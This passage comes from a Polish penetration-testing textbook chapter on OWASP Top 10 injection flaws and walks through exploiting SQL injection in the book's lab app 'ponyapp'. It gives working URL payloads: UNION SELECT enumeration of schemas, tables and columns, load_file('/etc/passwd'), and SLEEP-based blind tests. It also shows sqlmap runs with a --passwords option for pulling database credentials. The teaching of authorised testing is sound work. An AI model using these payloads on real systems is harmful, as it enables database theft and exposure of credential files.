aplikacji (wykonywanego za pomocą skanerów podatności) oraz ręcznego kontrolowania uzyska-
nych wyników. W ten sposób tworzona jest lista potencjalnych podatności istniejących w badanej
aplikacji. Niektóre skanery są w stanie wykryć i potwierdzić istnienie danej podatności, ale ważne
jest też to, żeby umieć samodzielnie potwierdzić każde takie zgłoszenie poprzez wykonanie ręcz-
nego testu. Dotyczy to szczególnie najważniejszych ze zgłoszonych podatności. (Najważniejszych
pod względem potencjalnych zagrożeń, jakie może powodować dana podatność oraz powszechno-
ści jej występowania w rozwiązaniach sieciowych).
W związku z tym przeanalizujemy teraz podatności pojawiające się na liście OWASP Top 10
i wyjaśnimy, jak można ręcznie wykryć i potwierdzić każdą z nich. Gdy mówimy o potwierdzaniu
istnienia podatności, mamy na myśli to, że trzeba taką podatność wykorzystać, aby móc stwierdzić
jej obecność w systemie i móc przedstawić na to dowody swojemu klientowi.
Jedną z podstawowych metod testowania aplikacji jest przejście po kolei przez wszystkie pozy-
cje listy OWASP Top 10 dla każdego oznaczonego wcześniej miejsca w aplikacji sieciowej. Niestety
jak się zaraz przekonamy, ta metoda nie daje pewności wykrycia i potwierdzenia każdej podatności
istniejącej w aplikacji. W przypadku aplikacji sieciowej istniejącej w laboratorium naszej książki z całą
pewnością możesz spróbować wykorzystać podatności opisywane w kolejnych podrozdziałach.

Wstrzykiwanie
Wstrzykiwanie pojawia się na samym szczycie listy OWASP Top 10 (już od kilku lat nieprzerwanie
zajmuje pierwsze miejsce tej listy). Jest tam nie dlatego, że ta podatność występuje częściej niż po-
zostałe, ale dlatego, że połączenie częstości występowania tego błędu i łatwości wykorzystania go
z ogromnymi zniszczeniami będącymi skutkiem takich ataków to wyjątkowo paskudna mieszanka.
Już wcześniej widzieliśmy, że wstrzykiwanie poleceń systemu operacyjnego pozwala uzyskać
dostęp do powłoki danego hosta, dlatego podczas sprawdzania aplikacji sieciowej należy dążyć
do uzyskania takiej właśnie możliwości. Czasami udaje się rzeczywiście uzyskać możliwość wstrzy-
kiwania poleceń systemu operacyjnego, ale znacznie częściej pojawia się możliwość wstrzykiwania
poleceń lub danych SMTP, XML, X-PATH lub SQL. Ataki wstrzykiwania poleceń SQL pozwalają
hakerom wykradać całe bazy danych, a nawet uzyskiwać dostęp do systemu operacyjnego hosta, co
zostało zaprezentowane w poprzednim rozdziale. Na początku listy działań wykonywanych przez
większość organizacji widnieje poprawienie bezpieczeństwa publicznie dostępnych aplikacji sie-
ciowych przez lepsze zabezpieczenie ich przed atakami wstrzykiwania poleceń.
Istnieje jednak wiele rodzajów ataków związanych ze wstrzykiwaniem, które dotyczą różnych
aplikacji oraz ich części serwerowych. Nie chodzi tu wyłącznie o aplikacje sieciowe. W tej książce
zaprezentowaliśmy już wiele różnych ataków wstrzykiwania poleceń, takich jak wstrzykiwanie po-
leceń systemu operacyjnego albo wstrzykiwanie danych LDAP. Wszystkie te ataki należą do tej
samej kategorii podatności. Wiele podatności związanych ze wstrzykiwaniem poleceń jest nieza-
leżnych od systemu operacyjnego i rodzaju aplikacji (może to być program klienta pocztowego,
aplikacja sieciowa albo aplikacja dla smartfona), ponieważ wynikają one z niewłaściwej kontroli
danych wejściowych, w szczególności wykonywanej po stronie serwera. Bezpieczeństwo wielu aplikacji

3681988c430c7fe1e8567c4e2f281f7b
3
Wstrzykiwanie 421

może zostać poprawione wyłącznie dzięki wprowadzeniu skuteczniejszej kontroli i filtrowania wszyst-
kich danych wejściowych. Pamiętaj, że poprawa mechanizmów kontrolnych po stronie klienta nie
jest wystarczającą metodą zabezpieczania aplikacji, jeżeli podobne rozwiązania nie są wprowadzane
również po stronie serwera. W swoim końcowym raporcie dla klienta należy zatem zawrzeć również
wzmiankę na temat dokumentu „OWASP Application Security Verifi cation Standard”, który jest
dostępny pod adresem https://owasp.org/www-project-application-security-verification-standard.

Wstrzykiwanie SQL
Jeżeli chodzi o aplikacje sieciowe, to wstrzykiwanie poleceń SQL jest rodzajem ataku, który nadal
często pojawia się w nagłówkach artykułów, ponieważ stanowi poważne zagrożenie dla danych.
Większość zautomatyzowanych narzędzi dobrze sobie radzi z wykrywaniem tego rodzaju podat-
ności. Mimo to pokażemy tutaj, jak można samodzielnie zacząć wykrywać i wykorzystywać ten
rodzaj błędów w aplikacjach. Podczas ręcznego przeglądania aplikacji sieciowej dostępnej w labo-
ratorium naszej książki możesz natknąć się na sekcję o nazwie „pony app”, która w zasadzie jest
tylko prostą galerią obrazków. Zwróć, proszę, uwagę na parametry, jakie pojawiają się w adresach URL
tych stron. Aplikacja sieciowa będąca częścią laboratorium naszej książki zawiera też mały album
zdjęć, w którym można przeglądać różne obrazy i teksty, zmieniając je za pomocą specjalnych linków
(rysunek 12.25). Zwróć uwagę na adres tych stron i na to, jak zmienia się on po kliknięciu dostępnego
linku. Sam adres wygląda mniej więcej tak: http://<AdresIP>/ponyapp/?id=2&image=dashie.png.

Rysunek 12.25. Przeglądarka obrazków Derpy Pony

3681988c430c7fe1e8567c4e2f281f7b
3
422 Rozdział 12  Aplikacje sieciowe

Załóżmy, że wszystkie te obrazki i teksty zapisane są w bazie danych. Jak zatem może wyglądać
zapytanie SQL używane do odczytywania z bazy poszczególnych obrazów i ich podpisów? Pewien
obraz takiego zapytania można uzyskać przez analizę parametrów widocznych w adresie URL.
Mamy tutaj parametr id oraz parametr image. Oznacza to, że możemy wykonać kilka prostych te-
stów, zmieniając po prostu wartości tych parametrów. Najpierw jednak warto sprawdzić, co się
stanie, gdy klikniesz łącza znajdujące się na tej stronie. Po kliknięciu linku opisanego liczbą 3 para-
metrowi id przypisywana jest wartość 3, a parametrowi image wartość pinkepie.png. Teraz zamiast
klikać kolejne linki, spróbuj ręcznie zmienić w przeglądarce wartość parametru id. Po zmianie war-
tości parametru na 2 tekst widoczny na stronie zmieni się na Rainbow dash!, ale sam obrazek po-
zostanie bez zmian. Czyżby zmiana parametru id powodowała jedynie podmianę podpisu pod wy-
świetlanym obrazem? To by znaczyło, że w parametrze image podawana jest nazwa pliku z obrazkiem.
Z kolei parametr id może być powiązany z kluczem głównym tabeli przechowującej podpisy pod
obrazkami. Po przypisaniu temu parametrowi wartości 4 nie pojawia się żaden tekst, a zatem w tabeli
zapisane są tylko trzy teksty.
Aby sprawdzić możliwość wykonania ataku wstrzykiwania poleceń SQL, dopisz znak lewego
apostrofu (`) zaraz za wartością parametru id. W ten sposób cały adres URL będzie wyglądał tak
jak poniżej (oczywiście adres IP może się różnić):
http://192.168.48.104/ponyapp/?id=1'&image=derpy.png

Jeżeli w tle wykonywane jest jakieś polecenie SQL, to ta zmiana powinna spowodować błąd.
Czasami w efekcie pojawi się błąd HTTP 500, a razem z nim wyświetlone zostaną szczegóły zaist-
niałego problemu. Takie informacje nie powinny być widoczne dla użytkowników internetu, a tym
bardziej dla hakerów. W tym konkretnym przypadku nie zobaczymy żadnego komunikatu o błę-
dzie, a aplikacja po prostu przestanie działać zgodnie z oczekiwaniami. Zauważ, że na stronie nie
pojawi się żaden tekst mimo podania poprawnej wartości parametru id (na przykład wartości 1).
Tak właśnie wygląda pierwsza oznaka istniejącej podatności na wstrzykiwanie poleceń SQL. W ko-
lejnym kroku trzeba dopisać do wartości parametru kolejny lewy apostrof. Jeżeli aplikacja tym ra-
zem zadziała poprawnie, to uzyskamy kolejne potwierdzenie istnienia podatności:
http://192.168.48.104/ponyapp/?id=1``&image=derpy.png

Niestety w przypadku aplikacji sieciowej z laboratorium naszej książki dodatkowy lewy ukośnik
nie sprawia, że ta zaczyna znowu działać poprawnie. Mimo to załóżmy, że wykryliśmy jakąś podat-
ność, i spróbujmy dalej wpływać na działanie zapytania SQL. Teraz dobrze jest spróbować wartości
id=1 OR 1=1, która jest całkowicie poprawnym zapisem instrukcji SQL. Taka zmiana spowoduje,
że zapytanie zwróci nie tylko rekord, dla którego pole id ma wartość 1, ale też wszystkie inne re-
kordy z tabeli, niezależnie od wartości ich pola id. Oczywiście zakładając, że w ogóle uda się nam
wpłynąć na działanie zapytania SQL. W tej próbie adres URL powinien wyglądać tak jak poniższy.
Spacje wpisane tu w pasku adresu przeglądarki nie powinny sprawiać problemów. Jeżeli jednak coś
nie zadziała, to zastąp spacje w adresie znakami dodawania (+) albo sekwencją znaków %20 (zako-
dowana wartość spacji).
http://192.168.48.104/ponyapp/?id=1 OR 1=1&image=derpy.png

Tym razem zobaczysz, że zwrócone zostały trzy podpisy, widoczne na poniższym wydruku.
Udało się nam zmienić używane w systemie zapytanie SQL, a to potwierdza istnienie podatności
na wstrzykiwanie SQL.

3681988c430c7fe1e8567c4e2f281f7b
3
Wstrzykiwanie 423

Derpy says hi
Rainbow dash!
Computers are awesome

Załóżmy, że system używa zapytania SQL zdefiniowanego przez programistę aplikacji, które
wygląda tak jak poniższe:
SELECT description FROM ponypics WHERE id = <id>

Po zastosowaniu wyrażenia id=1 OR 1=1, które zawsze zwraca wartość prawdy, zmodyfikowane
zapytanie SQL przyjmuje taką postać:
SELECT description FROM ponypics WHERE id = TRUE

Oznacza to, że zapytanie zwróci wszystkie wiersze tabeli, dla których parametr id ma jakąkol-
wiek wartość, a nie tylko pojedynczy wiersz.
Co więcej, zastąpienie w adresie URL zapisu 1=1 słowem true albo po prostu liczbą 1 ma dużą
szansę zadziałać w ten sam sposób, choć w tym przypadku nie można mieć całkowitej pewności.
Wypróbuj działanie tych dwóch adresów URL. Powinny one zadziałać dokładnie tak samo:
http://192.168.48.104/ponyapp/?id=1 OR 1=1&image=derpy.png
http://192.168.48.104/ponyapp/?id=1 OR true&image=derpy.png

Teraz można już bezpiecznie zakładać, że w bazie danych istnieje tabela zawierająca trzy re-
kordy danych, a w jednym z pól tej tabeli zapisane są podpisy lub komentarze przechowujące proste
ciągi znaków. Sama tabela może wyglądać tak jak poniższa, choć to jedynie przypuszczenie i po-
trzebujemy więcej informacji, aby to potwierdzić:

ID DESCRIPTION
1 Derpy says hi
2 Rainbow dash!
3 Computers are awesome

Taką podatność nazywa się nieślepą podatnością na wstrzykiwanie instrukcji SQL (ang. non-blind
SQL injection). Jesteśmy w stanie wstrzyknąć instrukcje SQL i zobaczyć, jak wpływa to na wyniki
generowane przez aplikację sieciową, a zatem jesteśmy w stanie wpływać na zachowanie tej aplika-
cji. Czasami podatności są znacznie subtelniejsze i nie jesteśmy w stanie zobaczyć żadnych zmian
w efektach pracy samej aplikacji. W tych przypadkach mówi się o ślepej podatności na wstrzykiwa-
nie instrukcji SQL (ang. blind SQL injection). Do wykrywania tego rodzaju podatności trzeba sto-
sować inne metody, o których pomówimy w dalszej części tego rozdziału.
Wiemy, że możemy zmienić istniejące zapytanie SQL, ale czy udałoby się nam dopisać do niego
kolejne zapytania? Spróbuj teraz wpisać do adresu URL poniższy wycinek kodu, który jest próbą
zakończenia jednego zapytania za pomocą znaku średnika (;) i rozpoczęcia za nim kolejnego za-
pytania. W efekcie powinniśmy otrzymać całkowicie poprawny kod zapytań SQL:
http://192.168.48.104/ponyapp/?id=1;select @@version&image=foo

3681988c430c7fe1e8567c4e2f281f7b
3
424 Rozdział 12  Aplikacje sieciowe

Początkowe zapytanie zostaje zakończone znakiem średnika, a za nim umieszczane jest nowe
zapytanie o postaci select @@version. Na pewno pamiętasz, że @@version jest funkcją wbudowaną
w serwer SQL. Znak średnika oznacza zakończenie instrukcji, dlatego można za nim zapisać ko-
lejne zapytanie. Niestety w tym przypadku okazuje się, że takie dopisane zapytanie nie działa pra-
widłowo, ponieważ baza danych nie odsyła informacji o swoim numerze wersji. Możemy zatem
spróbować użyć słowa kluczowego UNION, które jest stosowane w przypadkach, gdy chcemy zwrócić
jednocześnie zawartość kilku tabel zaprezentowaną tak, jakby należała do jednej tabeli. (W tym
miejscu możesz sądzić, że takie złączenia tabel wykonywane są słowem kluczowym JOIN, ale
pamiętaj, że w języku SQL słowo JOIN używane jest do łączenia ze sobą tabel na podstawie łączą-
cych je relacji).
Aby zapytanie ze słowem UNION mogło zadziałać, zapytania składowe takiej unii muszą zwracać
tę samą liczbę kolumn. W tym przypadku, o ile nam wiadomo, oryginalne zapytanie zwraca tylko
jedną kolumnę zawierającą opis obrazka. Oznacza to, że zapytanie, jakie dopiszemy do zapytania
tworzącego unię, również musi zwracać tylko jedną kolumnę. Na szczęście funkcja @@version
zwraca wynik składający się z jednej kolumny (i jednego wiersza), a zatem jest dobrym kandydatem
do wykonania takiej próby. Spróbuj zatem wpisać w przeglądarce poniższe zapytanie:
http://192.168.48.104/ponyapp/?id=1 UNION SELECT @@VERSION&image=derpy.png

I tym razem z pewnością zauważysz, że w przeglądarce pojawi się również numer wersji serwera
baz danych:
Derpy says hi
5.1.73-1

To zapytanie zadziałało, ponieważ zarówno oryginalne zapytanie, jak i funkcja @@version

zwracają po jednej kolumnie danych. W razie potrzeby możesz dodawać kolumny do zapytania
tworzącego unię, stosując do tego słowo kluczowe null. Jeżeli zmodyfikujesz adres URL tak jak
poniżej, to zapytanie nie zadziała, ponieważ oryginalne zapytanie zwraca jedną kolumnę, nato-
miast część dopisana przez nas zwraca dwie kolumny — wartość funkcji @@version oraz kolumnę
z wartością null:
http://192.168.56.104/ponyapp/?id=1 UNION SELECT @@version,null&image=derpy.png

Jeżeli wpiszesz poniższe zapytanie, to przekonasz się, że słowo kluczowe rzeczywiście działa
zgodnie z oczekiwaniami:
http://192.168.48.104/ponyapp/?id=1 UNION SELECT null&image=derpy.png

To zapytanie działa tak, jak powinno. Tym razem jednak zamiast numeru wersji serwera na ekra-
nie pojawi się jedno puste pole. Ponownie oryginalne zapytanie i dopisana przez nas część zwracają
po jednej kolumnie. Czasami konieczne jest dopisywanie wielu wartości null do oryginalnego za-
pytania albo do zapytania wpisanego po drugiej stronie unii. Jest to proces nazywany balansowa-
niem zapytania SQL. Na początek dopisuje się jedną kolumnę z wartością null, a potem kolejne
takie kolumny aż do osiągnięcia równej liczby kolumn po obu stronach unii, dzięki czemu całe
zapytanie nie generuje już błędów. Zapamiętaj zatem, że stosując słowo kluczowe UNION, trzeba
zadbać o to, żeby wstrzykiwane zapytanie zwracało tę samą liczbę kolumn, co oryginalne zapytanie.

3681988c430c7fe1e8567c4e2f281f7b
3
Wstrzykiwanie 425

Udało się nam wykonać proste wstrzyknięcie instrukcji SQL. Zbadajmy teraz nasze możliwości
w tym zakresie i spróbujmy przygotować sobie mapę bazy danych, a potem wydobyć informacje
zapisane w innych tabelach. Zmień zapytanie zgodnie z poniższym przykładem:
http://<AdresIP>/ponyapp/?id=1 UNION SELECT schema_name FROM
information_schema.schemata&image=derpy.png

Za pomocą tego zapytania próbujemy odczytać tabelę schematów znajdującą się w bazie danych
information_schema. Nasze zapytanie zwraca wartości z kolumny schema_name, dzięki czemu
dowiemy się, jakie bazy danych są obsługiwane przez ten serwer.
Derpy says hi
information_schema
drupal
mysql
pony

Znamy już nazwy wszystkich baz danych z tego serwera, a zatem możemy przystąpić do wypi-
sywania listy tabel znajdujących się w każdej z nich. Aby wypisać tabele z bazy danych pony, możesz
zastosować poniższy adres URL. Jeżeli bardziej interesują Cię tabele z bazy danych drupal, to zastąp
w podanym adresie słowo pony słowem drupal.
http://<AdresIP>/ponyapp/?id=1 UNION SELECT table_name FROM information_schema.tables WHERE
table_schema = 'pony'&image=derpy.png

Derpy says hi
ponypics
ponyuser

To polecenie sprawia, że aplikacja wypisuje nazwy ponypics i ponyuser. Mamy tu do czynienia

z nazwami tabel istniejących w bazie danych pony. Można zatem zakładać, że to w tabeli ponypics
zapisane są opisy poszczególnych obrazków. Spróbujmy zatem wypisać listę kolumn składających
się na tę tabelę:
http://192.168.48.104/ponyapp/?id=1 UNION SELECT column_name FROM information_schema.columns
´WHERE table_name = ‘ponypics’&image=derpy.png

Jak się okazuje, nasze przypuszczenia nie były do końca poprawne. Dzięki ostatniemu zapyta-
niu wiemy już, że w tabeli zdefiniowano trzy kolumny:
id
description
image

Po uzyskaniu nazw baz danych, tabel oraz kolumn możemy zacząć używać zapytań dotyczących
samych danych przechowywanych w bazie. Na przykład:
http://192.168.48.104/ponyapp/?id=1 UNION SELECT image FROM pony.ponypics&image=derpy.png

Dane zwrócone przez to zapytanie nie są szczególnie interesujące ani bardzo ważne. Jednak po
złożeniu wszystkich zebranych do tej pory informacji powinniśmy być w stanie uzyskać listę
wszystkich użytkowników aplikacji oraz ich haseł. Celem tego ćwiczenia było uzyskanie nazw baz
danych oraz ich tabel oraz ostateczne pobranie całości danych z bazy i odtworzenie jej na swoim
komputerze. W ten sposób można udowodnić klientowi, że atakujący jest w stanie wykorzystać
błąd w aplikacji sieciowej, aby pobrać wszystkie ważne informacje o klientach firmy bezpośrednio

3681988c430c7fe1e8567c4e2f281f7b
3
426 Rozdział 12  Aplikacje sieciowe

z serwera baz danych. Co więcej, implikacje tej podatności mogą być znacznie poważniejsze. Skoro
jesteśmy w stanie wstrzykiwać do aplikacji instrukcje SQL, to być może istnieje też możliwość prze-
słania na serwer własnych plików. W przypadku znalezienia takiej podatności zawsze należy spraw-
dzać, czy pozwala ona na przesyłanie i pobieranie plików z systemu operacyjnego hosta. Można do
tego używać metod, które prezentowaliśmy już w poprzednim rozdziale. Na początek można spró-
bować takiej sztuczki:
http://192.168.48.104/ponyapp/?id=1 UNION SELECT load_file('/etc/passwd')&image=derpy.png

SQLmap
Oczywiście można tworzyć całą mapę bazy danych za pomocą ręcznie wpisywanych poleceń SQL,
ale w większości przypadków będzie to bardzo czasochłonna praca. Na szczęście proces pozyski-
wania schematu bazy danych został już zautomatyzowany. Program SQLmap jest bardzo przydat-
nym narzędziem, które jest też świetną demonstracją możliwości, jakie dają błędy wstrzykiwania
instrukcji SQL. Program jest domyślnie instalowany w systemie Kali Linux, ale można go też po-
brać z adresu https://github.com/sqlmapproject/sqlmap.

SQLMAP

Program SQLmap został użyty w październiku 2015 roku podczas ataku korzystającego z podat-
ności na wstrzykiwanie poleceń SQL w aplikacji sieciowej należącej do brytyjskiego dostawcy
internetu — firmy TalkTalk. We wrześniu następnego roku Daniel Kelly (w wieku 19 lat) został
oskarżony o przeprowadzenie tego ataku i próbę szantażu. Żądał on od firmy kwoty 465 bitcoi-
nów (w tym czasie była to równowartość 216 tys. funtów lub 268 tys. dolarów). Sam atak w ciągu
jednego tygodnia zmniejszył wartość firmy o 240 milionów funtów (lub 298 milionów dolarów).
Brytyjski odpowiednik urzędu ochrony konsumentów nałożył na firmę dodatkową grzywnę.
Eksperci uznają, że Daniel Kelly zdołał pobrać dane osobowe ponad 150 tysięcy klientów firmy
TalkTalk, a w przypadku części z nich również i wrażliwe dane finansowe.

SQLmap to narzędzie przeznaczone do wykorzystywania podatności na wstrzykiwanie poleceń

SQL i automatycznego pobierania informacji o strukturze bazy danych. Program wykonuje to za-
danie przez wstrzykiwanie zapytań SQL w sposób, jaki zaprezentowaliśmy przed chwilą. Najpierw
sprawdzana jest zawartość tabeli information_schema, a potem kolejne zapytania pobierają listę
tabel, kolumn oraz całą ich zawartość. Podstawowe informacje na temat sposobu używania tego
programu można uzyskać, wpisując polecenie sqlmap -h.
Program SQLmap stara się wykrywać różne warianty podatności na wstrzykiwanie poleceń SQL.
W poprzednim podrozdziale analizowaliśmy jeden z prostszych przypadków, znany jako nieślepe
wstrzykiwanie poleceń SQL. Innymi słowy, aplikacja sieciowa albo sam serwer nie wyświetla komu-
nikatów o błędzie związanym ze wstrzykiwaną instrukcją, a wynik tego wstrzyknięcia pojawia się
na wyświetlanej stronie WWW. Jeżeli taki wynik nie byłby widoczny, to mielibyśmy do czynienia
ze ślepą podatnością na wstrzykiwanie poleceń SQL. Na szczęście mogliśmy łatwo potwierdzić ist-
nienie tej podatności, ponieważ dane wypisywane przez aplikację zmieniały się w widoczny sposób.

3681988c430c7fe1e8567c4e2f281f7b
3
Wstrzykiwanie 427

Wyobraź sobie jednak, że wygląd strony w przeglądarce wcale się nie zmienia. W takiej sytuacji
do wykrycia błędu w aplikacji trzeba zastosować inne rozwiązania. W tym celu można też wyko-
rzystać różnice w czasie obsługi poszczególnych zapytań. Jeżeli podejrzewasz istnienie podatności
na wstrzykiwanie poleceń SQL, to możesz spróbować wstrzyknąć polecenie PAUSE lub DELAY albo
specjalną funkcję. W ten sposób wykonywanie zapytania SQL zostanie wstrzymane na pewien czas,
co powinno spowodować zauważalne opóźnienie przesyłania odpowiedzi przez serwer aplikacji.
Wybranie bardzo długiego opóźnienia (na przykład 30 sekund) poważnie wydłuży czas oczekiwa-
nia na odpowiedź, jeżeli tylko taki atak zakończy się powodzeniem. Samo załadowanie strony bę-
dzie trwało wtedy przynajmniej 30 sekund. Niestety ta metoda stosowana w automatycznych na-
rzędziach skanujących może powodować generowanie fałszywych alarmów.
Innym rozwiązaniem jest wykorzystanie programu Wireshark, który pozwoli przeglądać za-
wartość pakietów przesyłanych pomiędzy programem SQLmap a serwerem aplikacji. Aby program
SQLmap mógł wypełniać swoje zadanie, trzeba podać mu adres URL (zawsze umieszczaj ten adres
w cudzysłowie), który nie został jeszcze zmodyfikowany:
sqlmap -u "http://192.168.48.101/ponyapp/?id=1&image=derpy.png"

W domyślnej konfiguracji SQLmap wypisuje bardzo dużo informacji (a może wypisywać jesz-
cze więcej, jeżeli zostanie uruchomiony z opcją -v). Po uruchomieniu powyższego polecenia pro-
gram powinien wypisać komunikaty podobne do poniższych:
___
__H__
___ ___[']_____ ___ ___ {1.3.4#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without

prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume
no liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 13:40:48 /2019-09-11/

[13:40:48] [INFO] testing connection to the target URL

[13:40:48] [INFO] heuristics detected web page charset 'ascii'
[13:40:48] [INFO] testing if the target URL content is stable
[13:40:49] [INFO] target URL content is stable
[13:40:49] [INFO] testing if GET parameter 'id' is dynamic
[13:40:49] [WARNING] GET parameter 'id' does not appear to be dynamic
[13:40:49] [WARNING] heuristic (basic) test shows that GET parameter
'id' might not be injectable
[13:40:50] [INFO] testing for SQL injection on GET parameter 'id'
[13:40:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:40:50] [INFO] GET parameter 'id' appears to be 'AND boolean-based
blind - WHERE or HAVING clause' injectable (with --string="Derpy says hi")
[13:40:50] [INFO] heuristic (extended) test shows that the back-end DBMS
could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test
payloads specific for other DBMSes? [Y/n]

3681988c430c7fe1e8567c4e2f281f7b
3
428 Rozdział 12  Aplikacje sieciowe

Program SQLmap przeprowadził kilka podstawowych testów i stwierdził, że parametr id może

pozwalać na stosowanie wstrzykiwania poleceń z wykorzystaniem słowa kluczowego WHERE lub
HAVING w połączeniu z ciągiem znaków Derpy says hi. Oznacza to, że program sugeruje stosowanie
innej metody niż ta, której używaliśmy wcześniej. Po zwiększeniu za pomocą opcji -v3 liczby ko-
munikatów wypisywanych przez program zobaczysz też konkretne próby ataku przeprowadzane
przez SQLmap:
[13:47:55] [PAYLOAD] 1 AND 3169=3169
[13:47:55] [PAYLOAD] 1 AND 4757=5610

Program nie używa operatora OR, tak jak robiliśmy to w naszych ćwiczeniach, ale stosuje ope-
rator AND. Jeżeli użyte w klauzuli liczby są sobie równe, to zapytanie jest wykonywane całkowicie
normalnie. Jeżeli jednak liczby nie są równe, to zapytanie nie powinno zwrócić żadnego wyniku.
Obie metody nazywane są rozwiązaniami logicznymi, ponieważ wymagają zastosowania operacji
logicznych, które zwracają wyłącznie wartości prawda lub fałsz.
Zauważ, że SQLmap przerywa swoją pracę i czeka na Twoją odpowiedź, zadając uprzednio py-
tanie, czy powinien przeprowadzić testy wykrywające inne systemy baz danych:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test
payloads specific for other DBMSes? [Y/n]

Już wcześniej przeprowadziliśmy podobne kontrole i również doszliśmy do wniosku, że na ba-

danym serwerze działa serwis MySQL (pamiętasz, że użyliśmy funkcji @@version), dlatego możesz
odpowiedzieć literą Y, aby pominąć testy dla innych rodzajów serwerów. Program zapewne zada
jeszcze jedno pytanie:
for the remaining tests, do you want to include all tests for 'MySQL'
extending provided level (1) and risk (1) values? [Y/n]

Wybranie odpowiedzi n spowoduje, że SQLmap nie wykona testów oznaczonych wyżej niż
wybrana przez nas wartość poziomu oraz ryzyka. Te wartości można zdefiniować za pomocą opcji
--level (poziom) i --risk (ryzyko), na przykład tak: --level=2 --risk=2. Z pewnością przekonasz
się, że mimo wybrania tutaj odpowiedzi n program i tak znajdzie podatność, którą sami wykryliśmy
wcześniej. Na ekranie zobaczysz więcej informacji zgodnych z tym, co udało się nam ustalić ręcz-
nie: że oryginalne zapytanie SQL zwraca tylko jedną kolumnę, a parametr id można wykorzystać
do wstrzykiwania poleceń SQL, ale wymaga to użycia słowa kluczowego UNION.
W kolejnym kroku program zapyta, czy ma też sprawdzić pozostałe parametry w podanym ad-
resie URL. Możesz tu odpowiedzieć przecząco (N), ale jeżeli podejrzewasz, że inne parametry rów-
nież mogą posłużyć do wstrzykiwania poleceń, to wybierz odpowiedź y. Możesz też uruchomić
osobny test dla wybranego parametru.
[14:07:28] [INFO] target URL appears to have 1 column in query
[14:07:28] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1
to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]

Na zakończenie program wyświetli podsumowanie podobne do poniższego:

sqlmap identified the following injection point(s) with a total of 41
HTTP(s) requests:
---

3681988c430c7fe1e8567c4e2f281f7b
3
Wstrzykiwanie 429

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 9911=9911&image=derpy.png

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)&image=derpy.png
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: id=1 UNION ALL SELECT CONCAT(0x716a706271,0x66655078566a794
b6c58686b4248534a64627a624b484a45716e6377514a4b4d6b45746f6b62467a,0x7170
707a71)-- tBkY&image=derpy.png
---
[14:07:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL >= 5.0.12
[14:07:34] [INFO] fetched data logged to text files under '/home/
hacker/.sqlmap/output/192.168.56.104'

Jak widać, program stwierdził, że do wstrzykiwania poleceń można wykorzystać parametr id.
Co więcej, umożliwia on stosowanie trzech różnych technik wstrzykiwania: Boolean-based blind,
timebased blind oraz UNION query. Już wcześniej zaprezentowaliśmy działanie techniki logicznej
(boolean-based) i techniki z zapytaniami UNION (UNION query). Przyjrzyjmy się zatem technice wy-
korzystującej zależności czasowe (timebased), która jest zwykle używana przy ślepym wstrzykiwa-
niu poleceń:
id=1 AND SLEEP(5)&image=derpy.png

Jeżeli ręcznie wpiszesz ten zestaw parametrów w pasku adresu przeglądarki, uzupełniając pod-
stawowy adres URL testowanej aplikacji, to zauważysz, że obsługa tego żądania będzie miała pię-
ciosekundowe opóźnienie. To jedna z metod wyszukiwania podatności w przypadku, gdy zmiana
parametrów nie wpływa na widoczną część aplikacji. Dzięki wprowadzonym sztucznym opóźnie-
niom możemy monitorować zachowanie aplikacji, aby sprawdzić, czy wykonała ona nasze wstrzyk-
nięte polecenie SQL. Dla jasności podajemy jeszcze pełną postać tego adresu URL:
http://<AdresIP>/ponyapp/?id=1 AND sleep(5)&image=derpy.png

Zwiększenie ilości komunikatów wypisywanych przez program SQLmap

i późniejsze ręczne powtarzanie technik stosowanych przez to narzędzie (program wypisuje
poszczególne kroki w oknie terminala) jest świetną metodą poznawania różnych pay-
loadów oraz metod używanych do ręcznego wykrywania i potwierdzania podatności na
wstrzykiwanie poleceń SQL.
Program SQLmap wykrył, że systemem baz danych używanym przez aplikację jest MySQL.
Zdołał również zebrać pewne informacje na temat systemu operacyjnego, oprogramowania ser-
wera WWW oraz języka programowania używanego po stronie serwera. Jeżeli teraz ponownie uru-
chomisz ten program z tymi samymi parametrami, to nie będzie on jeszcze raz wykonywał wszyst-
kich tych operacji. SQLmap zapisuje sobie uzyskane informacje w katalogu głównym użytkownika,
w podkatalogu .sqlmap, co pozwala mu później szybko wyświetlić potrzebne wyniki. Pamiętaj,

3681988c430c7fe1e8567c4e2f281f7b
3
430 Rozdział 12  Aplikacje sieciowe

że w tym katalogu zapisywane są również dane uzyskane z serwerów klienta, dlatego musisz regu-
larnie czyścić jego zawartość.
Najważniejszą funkcją programu SQLmap jest możliwość enumerowania struktury bazy danych.
Program udostępnia wiele opcji umożliwiających uzyskanie informacji o konkretnych częściach
badanej bazy danych, takich jak --passwords (nakazuje wydobywanie z serwera informacji o nazwach
użytkowników i ich hasłach, w tym i danych bazodanowego użytkownika root), --current-user
(sprawdza, z uprawnieniami którego użytkownika działa wybrany serwer baz danych; to ważne, bo
aplikacja sieciowa nigdy nie powinna korzystać z bazy danych, podając się za użytkownika root)
albo --tables (wypisuje tabele zdefiniowane w bazach danych istniejących w tym systemie).
Za pomocą opcji -a można zebrać wszystkie dostępne dane, ale należy jej używać ostrożnie, po-
nieważ wykonanie wszystkich operacji zabiera sporo czasu i generuje bardzo dużo wpisów w pli-
kach protokołów! Każdą z tych opcji należy umieszczać na końcu polecenia, które prezentowaliśmy
już wcześniej:
sqlmap -u "http://<AdresIP>/ponyapp/?id=1&image=derpy.png" --passwords

W programie SQLmap istnieje też wbudowana funkcja łamania skrótów haseł, której można
użyć w razie potrzeby. Oczywiście można też po prostu zapisać plik do późniejszego wykorzystania.

Bardzo przydatnym poleceniem, które można wykorzystać w przyszłości,

